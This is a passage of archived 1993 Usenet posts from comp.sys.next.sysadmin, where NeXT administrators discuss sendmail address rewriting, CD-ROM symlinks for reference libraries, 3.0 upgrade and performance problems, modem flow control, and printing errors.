Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: hashton@twics.co.jp (HUGH ASHTON)
Newsgroups: comp.sys.next.sysadmin
Subject: Help wanted with sendmail, please
Message-ID: <35946@twics.co.jp>
Date: 20 Jan 93 12:19:05 GMT
Organization: TWICS, Tokyo, Japan
Forgive me if this is a FAQ, but I've been out of circulation on
the news for some time now (I haven't set up a successful news
feed, and I haven't had time to read the news on-line). We have
network of NeXTs (3.0) with a uucp link to a BBS which can forward
mail. The NeXT connected to the modem (techw1) also acts as the
mail server (aliased as mailhost) for the network. We also have
a few point-to-point uucp links to different sites round the
world. We can successfully address mail to bar!foo (direct
addressing to a uucp neighbour) from any host on our LAN.
All non-mailhost hosts are running the unmodified
/etc/sendmail/sendmail.sharedsubsidiary.cf, having been
set up in the NetInfo locations of the root NetInfo domain.
I noticed that when I sent mail from the mailhost to
foo@bar.com, this ended up in the uuq as being addressed to
bar.com!foo. OK - a little hacking later, and I'd fixed that
problem. However, non-mailhost hosts still have the same
problem. Fine, delve into all the relevant documentation (a
really good explanation - IMHO - is given in "UNIX System
Administration Handbook" (Nemeth, Snyder, Seebass, pub.
Prentice Hall) and make a new mailer (totwics) specifically
for the BBS which calls a ruleset to convert the misaddressed
mail. Fine so far...
techw1> mail -v foo@bar.com
Subject: foo
bar
Cc:
foo@bar.com... Connecting to twics (totwics)...
foo@bar.com... Sent
which shows up in /usr/spool/mqueue/syslog as:
Jan 20 11:48:25 techw1 sendmail[14831]: AA14831: from=hashton, size=31,
class=0,
received from local
Jan 20 11:48:26 techw1 sendmail[14831]: AA14831: to=foo@bar.com,
delay=00:00:01,
stat=Sent
and in the uuq as...
twics: 1 job, 367 bytes, 0.1 minutes (@ effective baudrate of 840)
0684 2 hashton 367 0.1 Jan 20 11:48 S rmail foo@bar.com
Now, if I try to send mail from another host...
techw3:1# mail -v foo@bar.com
Subject: foo
bar
EOT
foo@bar.com... Connecting to mailhost (etherl)...
220 techw1. Sendmail NX5.67c/NX3.0M ready at Wed, 20 Jan 93 11:51:49 +0900
>>> HELO techw3.
250 techw1. Hello techw3. (techw3), pleased to meet you
>>> MAIL From:<hashton>
250 <hashton>... Sender ok
>>> RCPT To:<foo@bar.com>
250 <foo@bar.com>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 Ok
>>> QUIT
221 techw1. closing connection
foo@bar.com... Sent
This shows up on techw3 (non-mailhost) in
/usr/spool/mqueue/syslog as
Jan 20 11:51:49 techw3 sendmail[633]: AA00633: from=hashton, size=31, class=0,
r
eceived from local
Jan 20 11:51:50 techw3 sendmail[633]: AA00633: to=foo@bar.com, delay=00:00:01,
s
tat=Sent
but on techw1 (mailhost)'s /usr/spool/mqueue/syslog as:
Jan 20 11:51:50 techw1 sendmail[14846]: AA14846: from=<hashton>, size=161,
class
=0, received from techw3 (192.42.172.3)
Jan 20 11:51:51 techw1 sendmail[14848]: AA14846: to=<foo@bar.com>,
delay=00:00:0
1, stat=Sent
Note the new angle brackets around the address. uuq lets me know
that this mail has been parsed as:
0694 2 hashton 460 0.1 Jan 20 11:51 S rmail bar.com!foo
It's also obvious (by the addition of a debug rule in
sendmail.mailhost.cf such as
$* $:$1TESTING!!! this is just a test
that the recipient address of mail from techw1 goes through my
new ruleset, but not if the mail is sent from another host. Does
anyone have any clues how to force the mail from another host
through a specific mailer? I will *try* to read this newsgroup,
but I don't promise that I'll have the time. Anyone who has met a
similar problem, and is willing to help, please send E-mail
(including NeXTMail) to me (I'll post a summary):
| Hugh Ashton |
| Tel:+81-53-435-3553 Fax:+81-53-435-3356 |
| SnailMail:Crestec Inc., 676 Kasaishinden-cho, |
| Hamamatsu-shi 431-31, Japan |
| NextMail welcome |
+-------------------
--------------------------------------+
| hashton@crestec.twics.co.jp |
+---------------------------------------------------------+
Newsgroups: comp.sys.next.sysadmin
From: garyc@eecs.nwu.edu (Gary I. Chang)
Subject: Running Quotation and Webster from CD-ROM drive
Message-ID: <1993Jan21.024935.9455@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
Date: Thu, 21 Jan 1993 02:49:35 GMT
Hi,
Since I have a permanent NeXT CD player attached to my NSC, I have
decided to delete Quotation from my internal HD to save more space for
life.
When I was trying to bring up Quotation from the CD-ROM copy of
Quotation, I got a error alert panel saying "Couldn't open the Quotation
index (/NextLibrary/Reference/OxfordQuotation//.index/index)"......
How do I deal with this? Can I just keep the index files of the
Quotation and Webster on my tiny 406 MB HD and leave the big guys on the
CD-ROM where it's nice and warm all the time?
Thanks,
Gary
--
+----------------+
| Gary I. Chang |
+----------------+
Northwestern Univ. E-Mail: garyc@eecs.nwu.edu
Newsgroups: comp.sys.next.sysadmin
From: matt@crawfish.math.tulane.edu (Matt Hopkins)
Subject: dot matrix apple imagewriter printer
Nntp-Posting-Host-[nntpd-24447]: crawfish.math.tulane.edu
Message-ID: <1993Jan21.055302.24487@cs.tulane.edu>
Sender: news@cs.tulane.edu
Organization: Math dept., Tulane University
Date: Thu, 21 Jan 1993 05:53:02 GMT
An ImageWriter has fallen into my lap... I'm wondering what I have to do to
install it as a printer on my NeXTStation. I've looked through manuals,
FAQ's, and NeXTAnswers to no avail. I hook it up to the serial port, but then
what? For a start, I suppose I need to find a printcap entry from
somewhere... Anyone got one? If there is no clean way, is there a hack of
some sort I can do?
Please respond via e-mail (NeXTMail is fine), and I'll summarize to the net if
there is sufficient interest.
Matt
--
matt@crawfish.math.tulane.edu (NeXT Mail accepted!)
Matt Hopkins - Tulane University - Dept of Mathematics - New Orleans
"Do you hate people?" "No ... but I seem to feel better when they're
not around." - Barfly "Hey mister! Throw me some beads!"
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: Running Quotation and Webster from CD-ROM drive
Message-ID: <HARDY.93Jan20224909@golem.ps.uci.edu>
In-reply-to: garyc@eecs.nwu.edu's message of Thu, 21 Jan 1993 02:49:35 GMT
Newsgroups: comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
References: <1993Jan21.024935.9455@news.acns.nwu.edu>
Date: 21 Jan 93 06:49:08 GMT
In article <1993Jan21.024935.9455@news.acns.nwu.edu> garyc@eecs.nwu.edu (Gary I. Chang) writes:
??? Since I have a permanent NeXT CD player attached to my NSC, I have
??? decided to delete Quotation from my internal HD to save more space for
??? life.
???
??? When I was trying to bring up Quotation from the CD-ROM copy of
??? Quotation, I got a error alert panel saying "Couldn't open the Quotation
??? index (/NextLibrary/Reference/OxfordQuotation//.index/index)"......
???
??? How do I deal with this? Can I just keep the index files of the
??? Quotation and Webster on my tiny 406 MB HD and leave the big guys on the
??? CD-ROM where it's nice and warm all the time?
I am planning to do the same when (if) NeXT ever deivers the CD-ROM
drive (ordered in August!).
I would just make a sym-link of the OxfrodQutation directory on the CD
to /NextLibrary/Reference (I now have sym-links to NFS-mounted
Documentation over SLIP)
--
Hardy
-----
Meinhard E. Mayer, Department of Physics, UC Irvine
e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET
!!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Newsgroups: comp.sys.next.sysadmin
From: harit@kripalu.com
Subject: Re: Upgrading NeXTstations w/ only 100Mb disks (clients)?
Message-ID: <1993Jan20.192934.658@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
References: <FAB9452.93Jan19153325@nigel.tamu.edu>
Distribution: comp
Date: Wed, 20 Jan 93 19:29:34 GMT
In article <FAB9452.93Jan19153325@nigel.tamu.edu> fab9452@nigel.tamu.edu (Allan
Bailey) writes:
>
> Help! :-)
>
> I keep running out of disk space on these puppies.
>
> I have a server that exports most stuff to the clients. But the
> Upgrade_3.0.app slurps up the disk space via the /private/vm/swapfile
> growth phenomenon.
>
> Is there anyway to make swapfile stay put? Maybe if i just deleted it.....
>
> any help would be greatly appreciated.
>
>
>
> --
> Allan Bailey, UNIX programmer, CSC |
> fab9452@nigel.tamu.edu | or: nefud-the-delirious@tamu.edu
> 616c6c616e206261696c6579 |
What I have been doing is booting the client as a NetBoot client from the
server then using BuildDisk on the client's disk to upgrade. I do not keep
files on the clients so this works for me.
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
Newsgroups: comp.sys.next.sysadmin
From: dpryce@llewella.uchicago.edu (Steven Schwartz)
Subject: System Accounting
Message-ID: <1993Jan21.085839.11151@midway.uchicago.edu>
Keywords: Accounting, Monitoring
Sender: news@uchinews.uchicago.edu (News System)
Organization: University of Chicago Computing Organizations
Date: Thu, 21 Jan 1993 08:58:39 GMT
O.K. Here's the problem:
Our boss has informed us that he would like, please, an idea
of usage on a 15-NeXT cluster, including when people are logged on, what
they're using, etc. For the entire 19 hours a day the site is open.
Joy. Rapture.
Now, the question. Anyone know of any programs, shell scripts,
hacks, or suchlike that will permit us to do this without doing w to file
and awk-correlating every week?
Help (or pre-existing w+awk scripts) (or scripts of *anything*
that would work, for that matter) would be greatly appreciated.
Steven E. Schwartz
ses3@amber.uchicago.edu
From: mikael@scout.utexas.edu (Mikael Behrens)
Newsgroups: comp.sys.next.sysadmin
Subject: mail bouncing setup
Message-ID: <86586@ut-emx.uucp>
Date: 21 Jan 93 17:25:32 GMT
Sender: news@ut-emx.uucp
Distribution: usa
Howdy,
I have a mono NeXTstation hooked up to the Internet via SLIP. I have
working NeXTMail, but it's kind of a hack since my SLIP server doesn't
give out permanent IP addresses. I receive all my mail to another
machine, and have a shell script that periodically brings up the SLIP
connection and copies my mailbox file over to my machine.
I have a problem with bouncing mail: it doesn't. When I send a mail
message to a non-existant address, I never hear from it again. I believe
this is because the address in the "From:" field in my email messages and
usenet posts is bogus. My correct address is in the "Reply-to:" field.
When a message bounces does it automatically try to return to the "From:"
field? Can I make it return to the "Reply-to:" field by changing my
sendmail.cf file or something?
Any help is appreciated.
--
Mikael Behrens mbehrens@cs.utexas.edu (NeXTMail OK)
Computer Science student University of Texas at Austin
Newsgroups: comp.sys.next.sysadmin
From: gary@nshade.uah.ualberta.ca (Gary Ritchie)
Subject: Slow 3.0 Network
Message-ID: <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Thu, 21 Jan 1993 17:44:16 GMT
We recently upgraded a network of 41 turbo machines (monos) to 3.0, and
are having SERIOUS performance problems. When large numbers of people log
in at the same time, it takes up to fifteen minutes for them to get
Mathematica launched. This is at least 3 times slower than the same
operation under 2.2.
It seems that every time a user logs in, the Workspace does its scan of
application directories, services, etc. Isn't it supposed to only do this
the first time you log in, and cache it?
Each machine is mounting a couple directories from a single file server:
/Users and /LocalApps. The netinfo server is also the file server AND the
mail server, but this was also the case under 2.2. There is also a clone
netinfo server.
Any ideas, hints, suggestions? We've been instructed to upgrade the
network to 2.2 if we can't find a solution soon :-).
Newsgroups: comp.sys.next.sysadmin
From: barry@ictv.com (Barry Lustig)
Subject: NeXTs running 3.0 *cannot* swap to a raw partition
Message-ID: <1993Jan21.195003.6023@ictv.com>
Sender: usenet@ictv.com
Organization: ICTV, Santa Clara, CA (408) 562-9200
Date: Thu, 21 Jan 1993 19:50:03 GMT
There has been speculation recently about whether a NeXT can swap to
a raw partition or not. I decided to do a little research on this
point and found out that you cannot. The reason for this should be
clear from the following:
Current directory is /
Reading symbol data from sdmach...
(no debugging symbols found)...done.
(gdb) disassemble swapon
Dump of assembler code for function swapon:
0x4068288 <swapon>: rts
End of assembler dump.
(gdb)
NeXT removed the code for the swapon system call from the kernel.
They would have made life a lot easier for people if they also removed
the call from the system library.
barry
--
Newsgroups: comp.sys.next.sysadmin
From: heller@heller.slip.uiuc.edu (Helmut Heller)
Subject: Re: websterd under 3.0
References: <1jkr4oINN1uu@zaphod.mps.ohio-state.edu>
Message-ID: <C17ynx.K3I@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
Date: Thu, 21 Jan 1993 19:40:43 GMT
In article <1jkr4oINN1uu@zaphod.mps.ohio-state.edu>
nevai@ops.mps.ohio-state.edu (Paul Nevai) writes:
> It works on mine! I simply copied my .nxbf files from 2.1 to 3.0. They are
> huge files but something for something.
Hello,
this may be an FAQ, but I could not find any mentioning in the NeXT manuals:
what is websterd ?????
is it a daemon? and what advantage has it over having the webster-files on
your local hard drive?
any hints very welcome!
--
Servus, Helmut (W9/DH0MAD) ______________NeXT-mail preferred________________
heller@lisboa.ks.uiuc.edu "Knowledge must be gathered and cannot be given"
FAX: (217)244-6078 ZEN, one of BLAKES7
Phone: (217)244-6914 -------------------------------------------------
Helmut Heller, University of Illinois at Urbana-Champaign, Beckman Institute
Theoretical Biophysics Group, Room 3143, MC 251
Newsgroups: comp.sys.next.sysadmin
From: ph@pencom.com (Patrick Hester)
Subject: Re: HELP! System ALWAYS does disk check
Message-ID: <1993Jan21.192429.14649@pencom.com>
Sender: usenet@pencom.com (News system)
Organization: Pencom Systems Incorporated
References: <1993Jan20.182431.14426@leland.Stanford.EDU>
Date: Thu, 21 Jan 1993 19:24:29 GMT
>> lots of deleted stuff re:clients doing fsck <<
I've got a standalone system which does a full check after I run
SoundWorks. I do a proper shutdown, but most of the time if I ran
SoundWorks, the next boot is dirty. I'm on 3.0 and did not have SW
in my 2.x days so I don't know if this is a 3.0 problem or what.
But something is hosed.
--
Patrick Hester ph@pencom.com (212) 513-7777 NeXT Mail OK =8(\/\)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: lemke@MITL.COM (Kennedy Lemke)
Subject: Dove Fax modem installation problems
Message-ID: <1993Jan21.225205.28445@MITL.COM>
Originator: lemke@narnia.MITL.COM
Sender: news@MITL.COM
Organization: Matsushita Information Technology Laboratory, Princeton, NJ
Date: Thu, 21 Jan 1993 22:52:05 GMT
Hello--
I'm trying to re-install the driver and accompanying software
for our DoveFax modem on one of our NeXTs since upgrading the
OS to 3.0. Running Installer.App on the original pkg file on
the floppy seems to do the right thing in terms of copying the
driver files into place.
But the problem occurs when I use the print manager to try to
add the modem. I bring up print manager and select "Fax Modems".
The fax modem panel comes up blank. I select "Create" and the
Create Panel comes up. I use their suggested name: "Local_Fax_Modem"
(which is what the fax modem was named before). I use the create
panel to configure the modem to my liking, then when I click "OK",
I get an error panel that says the modem already exists. The
create panel then disappears, and the new entry never appears
in the list of fax modems.
I have used niutil -destroy to manually remove the entries referring
to entry this from the netinfo database. I have also removed the
old spool directory: "/usr/spool/NeXT/Local_Fax_Modem" but I still
get the "already exists" error message. I have also tried creating
the modem with another name (which works) then attempted to use
"modify" to name the modem what I really want, but this also doesn't
work--same error message.
It'd be possible (but major-ly inconvenient) for me to use a different
name. I'd like to know what needs to be done (e.g. what entry from
what file or netinfo database needs to be removed or what directory
needs to be deleted) in order for the print manager to no longer
think that "Local_Fax_Modem" already exists. I'd appreciate any
pointers (checked the FAQs and recent articles but did not find
any helpful information). Thank you.
Kennedy Lemke
, , ___ ______ Computer Systems Manager
/| /| / / / Postmaster && Domain administrator &&
/ | / | / / / News administrator && Network adminstrator
/ | / | / / / Matsushita Information Technology Laboratory
/ |/ | _/_ / /____ 182 Nassau Street, Third Floor
Work Phone: (609) 497-4600 Princeton, New Jersey 08542
Fax Phone: (609) 497-4013 Email: lemke@MITL.COM
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: lemke@MITL.COM (Kennedy Lemke)
Subject: Problems with "open" and "pwd" commands
Message-ID: <1993Jan21.230936.28745@MITL.COM>
Originator: lemke@narnia.MITL.COM
Sender: news@MITL.COM
Organization: Matsushita Information Technology Laboratory, Princeton, NJ
Date: Thu, 21 Jan 1993 23:09:36 GMT
Hello. Two problems since our upgrade to 3.0:
Problem #1: The "open" command. We use an automount entry for
home directories that looks like this:
/usr/etc/autonfsmount -tm 10 -tl 43200 -a /private /u userhomes
"userhomes" is an nis map (yes, the nexts are running yp) that maps
user names to hostname/directory paths. All user accounts, regardless
of which disk they actually live on, can be accessed from any of our
machines by accessing "/u/username". This has worked (and is still
working) just fine. The problem occurs under version 3.0 with the
"open" command. For example:
[158]aslan--> open .bashrc
open: can't stat file: /auto4000143/.bashrc
[159]aslan--> open /u/lemke/.bashrc <---THIS ONE WORKS
[160]aslan-->
So you can't use the "open" command to access a directory in
your home directory without specifying an absolute pathname
that starts with "/u". Under 2.{1,2}, the "open" command worked
fine. If you're in your home directory and you say "pwd", what
returns is something like "/private/auto4000143". The "open"
command clearly appears to be leaving off the "/private" part
of the pathname when trying to open file. Anyone know why?
Problem #2: using "bash" version 1.12, "pwd" (which is not aliased
to anything) gives strange behavior. Sometimes it says the "right"
thing; other times it returns an empty line. For example:
[140]aslan--> pwd
/private/auto4000143
[141]aslan--> pwd
[142]aslan--> pwd
[143]aslan--> pwd
/private/auto4000143
[144]aslan-->
Anyone know why? Thank you.
Kennedy Lemke
, , ___ ______ Computer Systems Manager
/| /| / / / Postmaster && Domain administrator &&
/ | / | / / / News administrator && Network adminstrator
/ | / | / / / Matsushita Information Technology Laboratory
/ |/ | _/_ / /____ 182 Nassau Street, Third Floor
Work Phone: (609) 497-4600 Princeton, New Jersey 08542
Fax Phone: (609) 497-4013 Email: lemke@MITL.COM
Newsgroups: comp.sys.next.sysadmin
Subject: Can't ftp out of area correctly
Message-ID: <1993Jan21.014442.119779@marshall.wvnet.edu>
From: mth011@marshall.wvnet.edu
Date: 21 Jan 93 01:44:42 -0500
Organization: Marshall University
For some unknown reason the NeXT lab here doesn't allow ftp or telnet
out of the local lan. If, though, I telnet to the first next, then I can
ftp or telnet anywhere. Why can't I do it from the individual machines?
Please leave email.
Thanks,
From: kline@cs.arizona.edu (Nick Kline)
Newsgroups: comp.dcom.modems,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: strange Zyxel modem problem
Message-ID: <30288@optima.cs.arizona.edu>
Date: 22 Jan 93 00:17:11 GMT
References: <30203@optima.cs.arizona.edu> <WBE.93Jan20215902@crystal.bbn.com> <C17x0p.JwI@panix.com>
Sender: news@cs.arizona.edu
Followup-To: comp.dcom.modems
Organization: U of Arizona CS Dept, Tucson
>> my problem: I seem to overflow my modem or have some strange flow
>> control problem
>
>>The default flow control on many UNIX systems is XON/XOFF. Check the serial
>>port setup and see if "crtscts" (RTS/CTS) is enabled. Alternatively, if
>>you're logged in via the port, try "stty -a", look at the end of the second
>>line, and see if it says "crtscts" or "-crtscts".
>
>And while we are listing all the things that could conceivably be the
>problem -- is there any chance the modem cable fails to provide
>RTS/CTS? That is, does it only have two data lines and a ground line?
>If so, and if the modem were set to hardware flow control rather than
>XON/XOFF flow control, that could be your problem.
>
>I vaguely recall the ZyXEL defaults to RTS/CTS flow control rather
>than XON/XOFF. So you would ideally want to be sure you have a cable
>that carries those signals, and you would want to configure the
>serial port on the computer to use RTS/CTS flow control.
>
zyxel uses rts/cts as the default flow control. the command to do this is
&h3. I have done that. In the modem book, it says for the command
&R0 or &R1: rts options
&r1 : modem assumes rts always on, ignores the changes
&r0 : delay before cts responds to rts's change
&r1 is the default. but after this, it says "This setting is ignored in
async mode. rts is always used as a hardware flow control in this case".
So it seems not to matter. I tried it anyway and it made no difference.
I also tried the other &h settings, for xon/xoff and no flow control and
rts/cts all made no difference
Thanks for all the suggestions. I do have a correct modem cable. For you
next people, I bought it at NextConnection as a 68040 modem cable. I verified
today that the rts/cts lines are connected as they should be. I did this
by looking at the file about.modem.z, which describes the match ups.
So it is not the cable. Then I tried cufb, thinking that perhaps I had
a bad cufa port. This did not fix the problem.
I know I am using rts/cts on the computer side since I am using cufa, a
port which explicitly uses rts/cts, right?
Let me give a more detailed example of how it crashes:
I can make it overrun things by catting a large file on the machine
i am connected to. After a while the modem starts to "retrain" (the hs light
flashes) and it either gives up or makes it (50/50 chance). Often at
this point I "+++" the modem and type ati2, the command which prints out
the state of the modem. Sometimes, the info, which is perhaps 15 lines
long, is screwed up, in that some parts of it don't come through. Other
times, the modem goes crazy, and the read_data light becomes constant
as it sends tons of garbage to my screen. Note that this is all in
command mode. Nothing should get to the screen when I am typing at
commands.
For the next person with a zyxel, when your rts/cts stuff is working, does
the cts light ever blink or dim(because it was off for a sec?)? I ask
this because mine is steady as a rock.
I am going to try to find someone with a 9600 buad modem and swap and
see if we still have problems.
-nick
kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: CCGREG@mizzou1.missouri.edu (Greg Johnson)
Subject: Great book on NFS Sysadmin
Message-ID: <16B5E779A.CCGREG@mizzou1.missouri.edu>
Sender: news@mont.cs.missouri.edu
Organization: University of Missouri
Date: Fri, 22 Jan 93 08:30:17 CST
I just ran across a book that I wish I had seen much earlier. It not only
describes how NFS works, but is loaded with diagnostic and problem-solving
tips. The NIS material if not useful at least makes me feel more
appreciative of NetInfo. The book is:
_Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright
1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7.
This 436-page paperback cost around $28. This & other O'Reilly books I
highly recommend for Unix Sysadmins.
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Great book on NFS Sysadmin
Message-ID: <C19JBD.n21@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <16B5E779A.CCGREG@mizzou1.missouri.edu>
Date: Fri, 22 Jan 1993 16:04:11 GMT
CCGREG@mizzou1.missouri.edu (Greg Johnson) writes:
>I just ran across a book that I wish I had seen much earlier. It not only
>describes how NFS works, but is loaded with diagnostic and problem-solving
>tips. The NIS material if not useful at least makes me feel more
>appreciative of NetInfo. The book is:
>
>_Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright
>1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7.
I have this book and highly recommend it as well, but I read in OS
Today recently that he is going to issue a new edition sometime this
year that will cover NIS+. No big deal to most NeXT people but if
you have to manage (gag) Solaris systems, be on the lookout for it.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: b-bohlmann@.uiuc.edu (Brian Bohlmann)
Subject: printing problem
Message-ID: <C19oG2.CEr@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
Date: Fri, 22 Jan 1993 17:55:12 GMT
Keywords: printing
I am having a very strange problem with printing.
system info:
Cube with 68040 cpu
NeXTPrinter
3.0 OS without developer package
problem:
it will intermittantly not print from either the command line using lpr or
using the print tool from the menu's. The following show's up in the
console window-
Jan 22 11:42:22 kimber Server:Local_Printer[298]: DPS client library
error: PostScript program error, DPSContext 562f8
Jan 22 11:42:22 kimber Server:Local_Printer[298]: %%[ Error: undefined;
OffendingCommand: ^?NXTfr-400 ]%%
I have tried rebooting which fixes the problem once in awhile but not
consistantly then after awhile the problem reappears. I am printing normal
files created on the local system. Has anyone seen this before or better
yet, have a fix for it?
thanks,
--
Brian Bohlmann
University of Illinois, Champaign/Urbana
Computing & Communications Services Office
email: bohlmann@ux1.cso.uiuc.edu
phone: 217-244-5409
NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin
From: gary@nshade.uah.ualberta.ca (Gary Ritchie)
Subject: Re: Slow 3.0 Network
Message-ID: <1993Jan22.172123.27666@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca>
Date: Fri, 22 Jan 1993 17:21:23 GMT
In article <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca> I wrote:
> It seems that every time a user logs in, the Workspace does its scan of
application directories, services, etc. Isn't it supposed to only do this
the first time you log in, and cache it?
I've had some responses telling me that there is a dwrite that will
disable the automatic Workspace updating on login. Can anyone tell me
exactly what it is, or where I can find out about it?
---
Gary Ritchie
From: garity@MATH.ORST.EDU (Dennis Garity)
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Printing Postscript files 2 to a page
Keywords: Postscript, psnup
Message-ID: <1jp9upINNn5c@gaia.ucs.orst.edu>
Date: 22 Jan 93 17:12:56 GMT
Article-I.D.: gaia.1jp9upINNn5c
Organization: University Computing Services - Oregon State University
I'm on a mixed network of Suns and NeXTs and have a
question regarding printing postscript files (*.ps).
On the Sun part of our system, we have a command, psnup,
which takes a postscript file consisting of many pages
and prints it 2, 4, or 8 pages to one page.
Using Preview on the NeXT, the format option is disabled
when working with a postscript file consisting of many pages.
Is there a way to print postscript files directly from the NeXT
2,4 or 8 pages to one page?
Any help would be greatly appreciated.
Dennis Garity
Mathematics Department
Oregon State University
From: pierce@cantrell.tamu.edu (Pierce Cantrell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Running Quotation and Webster from CD-ROM drive
Date: 22 Jan 1993 18:43:52 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1jpf98INNqt6@tamsun.tamu.edu>
References: <1993Jan21.024935.9455@news.acns.nwu.edu>
In article <1993Jan21.024935.9455@news.acns.nwu.edu> garyc@eecs.nwu.edu (Gary
I. Chang) writes:
> When I was trying to bring up Quotation from the CD-ROM
> copy of Quotation, I got a error alert panel saying
> "Couldn't open the Quotation index
> (/NextLibrary/Reference/OxfordQuotation//.index/index)"......
>
>
I don't have any trouble with this. All I did was to delete
/NextLibrary/References/OxfordQuotations and set up a link to the CD-ROM
lrwxrwxrwx 1 root 53 Sep 26 13:14 OxfordQuotations ->
/NeXTSTEP_3.0/NextLibrary/References/OxfordQuotations@
I did the same thing for Shakespeare and all the Developer documentation.
-pierce
--
Pierce E. Cantrell | cantrell@ee.tamu.edu
Department of Electrical Engineering |
Texas A&M University | tel: (409) 845-7441
College Station, Texas 77843-3128 | fax: (409) 845-6259
Newsgroups: comp.sys.next.sysadmin
From: greg@donald.claremont.edu (Tigger)
Subject: hard drive mounting
Message-ID: <1993Jan22.192914.11041@muddcs.claremont.edu>
Sender: news@muddcs.claremont.edu (The News System)
Organization: Harvey Mudd College, Claremont, CA 91711
Date: Fri, 22 Jan 1993 19:29:14 GMT
Okay. We finally bought a reasonable size external SCSI disk to supplement
the little 105 that came with our NeXTstation. We installed NextStep on it
and are now booting from it. So far, so good.
Now I would like to reuse the 105 for something else. I have several ideas,
but they all require that the disk mount into the Unix filesystem somewhere
other than at the / level. Basically, I would like to override whatever is
automatically mounting the sucker as /diskname and mount it somewhere else
like I would do with any other Unix system.
If this is in a FAQ file somewhere, or in the NextStep 2.x manuals (we don't
have the 3.0 docs yet, just the OS), by all means please just point me in
the right direction. Otherwise, if someone could be kind enough to tell me
how to do this via e-mail, I will be happy to summarize to the group.
Thanks.
--
Greg Orman greg@pomona.claremont.edu
Systems Manager NeXTmail: greg@donald.claremont.edu
Seaver Academic Computing Services
Pomona College Standard disclaimer-type stuff
Newsgroups: comp.sys.next.sysadmin
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Subject: Users - compacting mail
Message-ID: <1993Jan22.203446.613@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Date: Fri, 22 Jan 1993 20:34:46 GMT
Is there any "easy" way to have the system go through and compact
all of the user's Maiboxes on a system?
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: Shane M. Zatezalo : i-net> szatezal@magnus.acs.ohio-state.edu :
: CIS Eng Ohio State : NeXTMail> shane@kiwi.swhs.ohio-state.edu :
:GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: petrilli@hal.gnu.ai.mit.edu (Chris Petrilli)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Great book on NFS Sysadmin
Message-ID: <1jpkpdINNith@life.ai.mit.edu>
Date: 22 Jan 93 20:17:49 GMT
References: <16B5E779A.CCGREG@mizzou1.missouri.edu> <C19JBD.n21@ux1.cso.uiuc.edu>
Organization: Department of Redundency Department
In article <C19JBD.n21@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes:
>I have this book and highly recommend it as well, but I read in OS
>Today recently that he is going to issue a new edition sometime this
>year that will cover NIS+. No big deal to most NeXT people but if
>you have to manage (gag) Solaris systems, be on the lookout for it.
I can highly recommend EVERY O'Reily book (I have just about everything
they make, including the *GACK* X set), they seem to be the most up to
dat, information filled books that I've seen on the shelves about every
topic they cover. Some companies even ship their books as "standard
documentation." Also, the UUCP/UseNet series is excellent, as is the
RPC programming book. BTW, I have NO association with O'Reily except
for giving them lots of my money :-)
Chris
PS: Thery even offer discounts when they update books.
--
| Chris Petrilli ____
| petrilli@gnu.ai.mit.edu ``Quayle is a bozoe.'' \ /
| I don't even speak for myself. \/
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From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin)
Subject: using mh to route messages on NeXT
Message-ID: <1993Jan22.205546.4786@murdoch.acc.Virginia.EDU>
Keywords: sendmail.cf
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
Date: Fri, 22 Jan 1993 20:55:46 GMT
I'm running MH on a NeXT and am using it to automatically route messages
to a series of filters. I've tested the MH configuration extensively, the
filters, and the link between the two. Everything seems to work fine. In
fact, everything does work fine when I send test messages from an RS/6000
to the NeXT, or from the same NeXT to itself. But when I send the
messages from another NeXT (using the same sendmail.cf), it fails,
